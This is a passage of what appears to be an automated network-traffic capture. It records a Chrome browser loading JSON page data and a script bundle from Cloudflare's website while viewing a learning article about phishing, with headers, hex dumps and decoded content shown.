2024-10-18 13:48:08 UTC	553	OUT	GET /page-data/app-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	967	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"ec218a277e6b4639d8f80224c4485e35" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SoaK4X5BDZs2a%2FGTuKrMql37m6AI%2BOwVRebencD2rnQxqZwx4D7cY8DHdax%2BVDu2jTEoQ2gtDRvFOKtL3Rtt8segCXzh6dVAjMK8JOLPLrznoj3X%2BQ6NHza2d8%2FxEOAeQTrhTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf91de76b15-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	56	IN	Data Raw: 33 32 0d 0a 7b 22 77 65 62 70 61 63 6b 43 6f 6d 70 69 6c 61 74 69 6f 6e 48 61 73 68 22 3a 22 64 39 36 61 30 38 65 35 37 37 39 31 61 66 64 61 63 32 37 65 22 7d 0a 0d 0a Data Ascii: 32{"webpackCompilationHash":"d96a08e57791afdac27e"}
2024-10-18 13:48:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	50739	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	778	OUT	GET /page-data/sq/d/1048862057.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	973	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"e1742768bd4bb8a3fda0077f1c6c52ab" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FFX2q6JgMYMKyTnD%2BHT9QDplSSoeY%2BTiaNXGZzAgXv3l%2FrLX6JLM%2B%2FBOl0ZYysp6ECh0xWeVYqITAhQryjsWdsOumV7VWGHY4zORz1UUaRG%2FP2ywOm0oMhKSomwLhn1%2FkNS%2Bpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf97a8d6c3d-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	158	IN	Data Raw: 39 38 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 73 69 74 65 22 3a 7b 22 73 69 74 65 4d 65 74 61 64 61 74 61 22 3a 7b 22 74 61 72 67 65 74 45 6e 76 22 3a 22 70 72 6f 64 75 63 74 69 6f 6e 22 2c 22 63 6f 72 65 41 70 69 56 31 22 3a 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 70 69 2f 76 31 22 2c 22 62 61 73 65 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 7d 7d 7d 7d 0d 0a Data Ascii: 98{"data":{"site":{"siteMetadata":{"targetEnv":"production","coreApiV1":"https://api.www.cloudflare.com/api/v1","baseURL":"https://www.cloudflare.com"}}}}
2024-10-18 13:48:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	50744	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	778	OUT	GET /page-data/sq/d/3199558980.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	957	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"8692ff46359ceb525b3d6c22fcf120c3" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a6rSLAkqJzfdLyt0BtjZTyLAFHvX2mKZX8aUq81Xdrm9B9UlAc9VSp3JrJYMjveUUfUUbSLsbNKnM2eYe7hbC9iICAltCm1YFxy73ngwCtgo01Lxd8Y2i6n2n3JMqLwBZ5XB0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf97cc84780-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	412	IN	Data Raw: 36 39 33 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 6d 72 6b 43 6f 6e 66 69 67 47 6c 6f 62 61 6c 56 61 72 69 61 62 6c 65 73 22 3a 7b 22 6a 73 6f 6e 5f 76 61 6c 75 65 73 22 3a 7b 22 48 54 54 50 52 65 71 75 65 73 74 73 22 3a 36 30 2c 22 43 6f 75 6e 74 72 79 43 6f 75 6e 74 22 3a 31 32 30 2c 22 50 61 72 74 6e 65 72 43 6f 75 6e 74 22 3a 22 35 30 30 30 2b 22 2c 22 42 69 7a 41 6e 6e 75 61 6c 52 61 74 65 22 3a 7b 22 74 79 70 65 22 3a 22 75 6e 69 74 22 2c 22 76 61 6c 75 65 22 3a 32 34 30 30 2c 22 66 6f 72 6d 61 74 22 3a 22 43 75 72 72 65 6e 63 79 22 7d 2c 22 42 69 7a 4d 6f 6e 74 68 6c 79 52 61 74 65 22 3a 7b 22 74 79 70 65 22 3a 22 75 6e 69 74 22 2c 22 76 61 6c 75 65 22 3a 32 30 30 2c 22 66 6f 72 6d 61 74 22 3a 22 43 75 72 72 65 6e 63 79 22 7d 2c 22 50 72 6f 41 6e 6e 75 Data Ascii: 693{"data":{"mrkConfigGlobalVariables":{"json_values":{"HTTPRequests":60,"CountryCount":120,"PartnerCount":"5000+","BizAnnualRate":{"type":"unit","value":2400,"format":"Currency"},"BizMonthlyRate":{"type":"unit","value":200,"format":"Currency"},"ProAnnu
2024-10-18 13:48:08 UTC	1278	IN	Data Raw: 3a 33 33 30 2c 22 4e 65 74 77 6f 72 6b 43 61 70 61 63 69 74 79 22 3a 22 32 39 36 20 54 62 70 73 22 2c 22 44 4e 53 51 75 65 72 69 65 73 50 65 72 44 61 79 22 3a 33 2e 34 2c 22 4e 65 74 77 6f 72 6b 43 61 70 61 63 69 74 79 56 32 22 3a 7b 22 74 79 70 65 22 3a 22 75 6e 69 74 22 2c 22 76 61 6c 75 65 22 3a 32 39 36 2c 22 66 6f 72 6d 61 74 22 3a 22 54 65 72 61 62 69 74 73 50 65 72 53 65 63 6f 6e 64 53 68 6f 72 74 22 7d 2c 22 47 6c 6f 62 61 6c 57 65 62 73 69 74 65 43 6f 75 6e 74 22 3a 32 35 30 30 30 30 30 30 2c 22 48 54 54 50 52 65 71 75 65 73 74 73 41 74 50 65 61 6b 22 3a 38 31 2c 22 57 41 46 52 75 6c 65 73 46 69 72 65 64 50 65 72 44 61 79 22 3a 34 34 34 35 32 38 30 30 30 2c 22 43 68 69 6e 61 44 61 74 61 43 65 6e 74 65 72 43 6f 75 6e 74 22 3a 33 30 2c 22 48 54 54 Data Ascii: :330,"NetworkCapacity":"296 Tbps","DNSQueriesPerDay":3.4,"NetworkCapacityV2":{"type":"unit","value":296,"format":"TerabitsPerSecondShort"},"GlobalWebsiteCount":25000000,"HTTPRequestsAtPeak":81,"WAFRulesFiredPerDay":444528000,"ChinaDataCenterCount":30,"HTT
2024-10-18 13:48:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	50742	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	777	OUT	GET /page-data/sq/d/333361657.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"c6e0a852e4e9f65b70005a776f237c0d" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mVyAna5TmKDgNcon2N18%2BipbdSHBZ550r7A%2BsBQunegE%2BM9E08LT1gaLH4JIDuHC6d0knAe9cqNI6W5Me3x4VKxVMczDkT1YsEgHX2sB7sNsoi5CMefe0VQtEm3L1Ova3oReoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf989fc2cb2-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	406	IN	Data Raw: 33 32 39 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 77 65 63 68 61 74 22 3a 7b 22 69 64 22 3a 22 61 31 30 66 34 31 31 37 2d 38 65 61 36 2d 35 30 33 63 2d 38 32 62 33 2d 62 61 64 63 65 34 32 64 35 39 34 66 22 2c 22 61 6c 74 54 65 78 74 22 3a 22 57 65 43 68 61 74 50 6f 70 75 70 22 2c 22 74 69 74 6c 65 22 3a 22 57 65 43 68 61 74 50 6f 70 75 70 22 2c 22 61 63 74 69 76 65 41 73 73 65 74 22 3a 22 43 6f 6e 74 65 6e 74 66 75 6c 20 41 73 73 65 74 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 41 73 73 65 74 22 3a 7b 22 66 69 6c 65 22 3a 7b 22 70 75 62 6c 69 63 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 66 2d 61 73 73 65 74 73 2e 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 73 6c 74 33 6c 63 36 74 65 76 33 37 2f 6d Data Ascii: 329{"data":{"wechat":{"id":"a10f4117-8ea6-503c-82b3-badce42d594f","altText":"WeChatPopup","title":"WeChatPopup","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/m
2024-10-18 13:48:08 UTC	410	IN	Data Raw: 3a 6e 75 6c 6c 7d 2c 22 74 69 6b 74 6f 6b 22 3a 7b 22 69 64 22 3a 22 39 30 37 64 64 39 66 66 2d 35 31 33 30 2d 35 66 36 64 2d 39 38 65 37 2d 63 39 61 39 31 65 63 34 32 34 32 62 22 2c 22 61 6c 74 54 65 78 74 22 3a 22 54 69 6b 74 6f 6b 50 6f 70 75 70 22 2c 22 74 69 74 6c 65 22 3a 22 54 69 6b 74 6f 6b 50 6f 70 75 70 22 2c 22 61 63 74 69 76 65 41 73 73 65 74 22 3a 22 43 6f 6e 74 65 6e 74 66 75 6c 20 41 73 73 65 74 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 41 73 73 65 74 22 3a 7b 22 66 69 6c 65 22 3a 7b 22 70 75 62 6c 69 63 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 66 2d 61 73 73 65 74 73 2e 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 73 6c 74 33 6c 63 36 74 65 76 33 37 2f 36 69 38 64 31 38 36 74 Data Ascii: :null},"tiktok":{"id":"907dd9ff-5130-5f6d-98e7-c9a91ec4242b","altText":"TiktokPopup","title":"TiktokPopup","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/6i8d186t
2024-10-18 13:48:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	50740	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	778	OUT	GET /page-data/sq/d/3934964512.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	967	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"bb653e0ba7849e21beb0822fe2db0bd5" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EkSToFleLavHnBAmiMg8EdJ%2Bo%2Fs0FHZwMPvcMC9JajmjdiuzaDc%2B6zczxQQmdLisyNl4BlE2ib8fbChH9s%2BZWyXcEHwX1buTJkhAHvoE6TEsmo95ARf0oLTh%2FkZrQMeqACfgcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf99981e8f9-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	402	IN	Data Raw: 34 36 66 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 67 72 61 79 22 3a 7b 22 69 64 22 3a 22 36 37 37 37 35 63 36 64 2d 38 37 62 64 2d 35 61 32 34 2d 61 39 34 37 2d 33 35 31 38 39 30 32 63 35 30 38 31 22 2c 22 61 6c 74 54 65 78 74 22 3a 22 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 50 6c 61 74 66 6f 72 6d 20 2d 20 47 43 50 20 47 72 61 79 20 4c 6f 67 6f 22 2c 22 74 69 74 6c 65 22 3a 22 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 50 6c 61 74 66 6f 72 6d 20 2d 20 47 43 50 20 47 72 61 79 20 4c 6f 67 6f 22 2c 22 61 63 74 69 76 65 41 73 73 65 74 22 3a 22 43 6f 6e 74 65 6e 74 66 75 6c 20 41 73 73 65 74 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 41 73 73 65 74 22 3a 7b 22 66 69 6c 65 22 3a 7b 22 70 75 62 6c 69 63 55 52 4c 22 3a 22 68 Data Ascii: 46f{"data":{"gray":{"id":"67775c6d-87bd-5a24-a947-3518902c5081","altText":"Google Cloud Platform - GCP Gray Logo","title":"Google Cloud Platform - GCP Gray Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"h
2024-10-18 13:48:08 UTC	740	IN	Data Raw: 76 67 22 7d 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 50 6c 61 74 66 6f 72 6d 20 2d 20 47 43 50 20 47 72 61 79 20 4c 6f 67 6f 20 75 73 65 64 20 61 73 20 61 20 62 75 74 74 6f 6e 20 69 6d 61 67 65 20 6f 6e 20 65 67 72 65 73 73 20 73 61 76 69 6e 67 73 20 63 61 6c 63 75 6c 61 74 6f 72 22 7d 2c 22 62 72 61 6e 64 66 6f 6c 64 65 72 41 73 73 65 74 22 3a 6e 75 6c 6c 2c 22 62 72 61 6e 64 66 6f 6c 64 65 72 41 73 73 65 74 4d 6f 62 69 6c 65 22 3a 6e 75 6c 6c 7d 2c 22 6f 72 61 6e 67 65 22 3a 7b 22 69 64 22 3a 22 65 37 64 64 36 35 36 37 2d 33 30 64 31 2d 35 35 33 34 2d 39 32 31 66 2d 61 61 36 66 30 37 31 33 64 66 34 39 22 2c 22 61 6c 74 54 65 78 74 22 3a 22 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 50 6c 61 74 66 6f 72 6d 20 2d Data Ascii: vg"},"description":"Google Cloud Platform - GCP Gray Logo used as a button image on egress savings calculator"},"brandfolderAsset":null,"brandfolderAssetMobile":null},"orange":{"id":"e7dd6567-30d1-5534-921f-aa6f0713df49","altText":"Google Cloud Platform -
2024-10-18 13:48:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	50743	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	816	OUT	GET /a06cff934e9579536ce1c10bad21c1d6d7f63ae0-8b61554ef4c490b779ce.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	958	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"081276145f73b837bb18c9cb34c4cfce" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F7U%2BYSfxZQU18okmIQgzV5eNa7JGYP%2B1D9d9lyk0tgKNPaUN0vHyJJ7oKfApecxlHfBQCi%2BFn0fdsXG2GPOV9xkX%2FVaioy3KHy%2BrXRb59hrJCYQf11xijetowimFG6a93bS01A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf999d26bc2-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	411	IN	Data Raw: 32 65 62 64 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 35 33 5d 2c 7b 38 36 31 36 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 64 28 74 2c 7b 41 75 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 2c 63 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 7d 29 3b 63 6f 6e 73 74 20 6f 3d 6e 28 39 36 35 34 30 29 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 7b 7d 29 2c 6c 3d 28 7b 63 68 69 6c 64 72 65 6e 3a 65 7d Data Ascii: 2ebd"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[253],{86168:function(e,t,n){n.d(t,{Au:function(){return o},cS:function(){return l}});const o=n(96540).createContext({}),l=({children:e}
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2d 63 6e 2e 63 6f 6d 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 2c 6e 3d 61 29 7b 63 6f 6e 73 74 20 6f 3d 28 30 2c 6c 2e 6c 31 29 28 74 29 3b 72 65 74 75 72 6e 22 65 6e 2d 75 73 22 3d 3d 3d 65 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 7c 7c 65 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 6c 2e 71 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3f 28 30 2c 72 2e 43 4e 29 28 6e 2c 6f 2c 22 2f 22 29 3a 28 30 2c 72 2e 43 4e 29 28 6e 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6f 2c 22 2f 22 29 7d 63 6f 6e 73 74 20 63 3d 28 65 2c 74 2c 6e 3d 61 2c 72 3d 6c 2e 49 42 29 3d Data Ascii: ps://www.cloudflare-cn.com":"https://www.cloudflare.com";function i(e,t,n=a){const o=(0,l.l1)(t);return"en-us"===e.toLocaleLowerCase()\|\|e.toLocaleLowerCase()===l.q.toLowerCase()?(0,r.CN)(n,o,"/"):(0,r.CN)(n,e.toLowerCase(),o,"/")}const c=(e,t,n=a,r=l.IB)=
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 2c 67 3d 6e 28 36 31 37 37 33 29 2c 6b 3d 6e 28 39 33 30 37 29 3b 28 30 2c 6f 2e 41 79 29 28 28 61 73 79 6e 63 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 2e 74 68 65 6e 28 6e 2e 62 69 6e 64 28 6e 2c 34 34 39 30 39 29 29 29 29 3b 63 6f 6e 73 74 20 77 3d 28 7b 63 68 69 6c 64 72 65 6e 3a 65 7d 29 3d 3e 65 3b 76 61 72 20 79 3d 6e 28 38 34 34 33 37 29 2c 76 3d 6e 28 36 33 34 38 32 29 2c 62 3d 6e 28 38 30 36 37 29 2c 45 3d 6e 28 38 32 31 36 29 2c 43 3d 6e 28 31 34 35 31 34 29 2c 4c 3d 6e 28 31 32 30 34 29 3b 76 61 72 20 78 3d 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 28 30 2c 6c 2e 75 73 65 4c 6f 63 61 74 69 6f 6e 29 28 29 2c 74 3d 74 3d 3e 74 3f 28 30 2c 4c 2e 6e 74 29 28 74 29 3f 74 3a 28 30 2c 4c 2e 43 4e 29 28 60 68 74 74 70 73 3a 2f 2f 24 Data Ascii: ,g=n(61773),k=n(9307);(0,o.Ay)((async()=>Promise.resolve().then(n.bind(n,44909))));const w=({children:e})=>e;var y=n(84437),v=n(63482),b=n(8067),E=n(8216),C=n(14514),L=n(1204);var x=()=>{const e=(0,l.useLocation)(),t=t=>t?(0,L.nt)(t)?t:(0,L.CN)(`https://$
